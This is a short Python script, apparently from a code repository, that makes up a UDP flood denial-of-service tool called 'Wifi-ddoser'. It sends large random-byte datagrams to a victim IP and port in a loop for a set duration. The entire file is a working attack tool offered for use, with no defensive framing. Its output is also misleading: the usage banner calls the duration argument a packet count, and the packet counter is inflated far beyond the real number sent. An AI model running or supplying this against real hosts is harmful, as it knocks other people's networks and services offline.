Ddos-wifi-py3/main.py

44 lines
1.9 KiB
Python
Raw Normal View History

2024-08-19 00:37:19 +07:00
import time
import socket
import random
import sys
def usage():
print("\033[1;32m#########################################################")
print ("#------------------------[\033[1;91mWifi-ddoser\033[1;32m]---------------------#")
print ("#-------------------------------------------------------#")
print ("# \033[1;91mCommand: " "python2 wifi-ddoser.py " "<ip> <port> <packet> \033[1;32m #")
print ("# #")
print ("#\033[1;91mCreator:artem-cell \033[1;32m## ### ## #")
print ("#\033[1;91mTeam : ISL \033[1;32m## # ## #")
print ("#\033[1;91mVersion:1.0 \033[1;32m## ### ## #")
print ("# ## \033[1;91m ## \033[1;32m# \033[1;91m## \033[1;32m## #")
print ("# ## \033[1;91m## \033[1;32m### \033[1;91m## \033[1;32m###### #")
print ("# \033[1;91m<--[ISL]--> \033[1;32m#")
print ("#########################################################")
print (" @@@@@@@@@@")
print (" @@@@@@@@@@@@")
print (" @@@@@@@@@@@@@@@@")
def flood(victim, vport, duration):
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(29009)
timeout = time.time() + duration
sent = 30000
while 1:
if time.time() > timeout:
break
else:
pass
client.sendto(bytes, (victim, vport))
sent = sent + 9999999
print (f"\033[1;91mSended \033[1;32m{victim} \033[1;91mPackets to host \033[1;32m {sent} \033[1;91mTo Port \033[1;32m {vport} ")
def main():
print(len(sys.argv))
if len(sys.argv) != 4:
usage()
else:
flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))
if __name__ == '__main__':
main()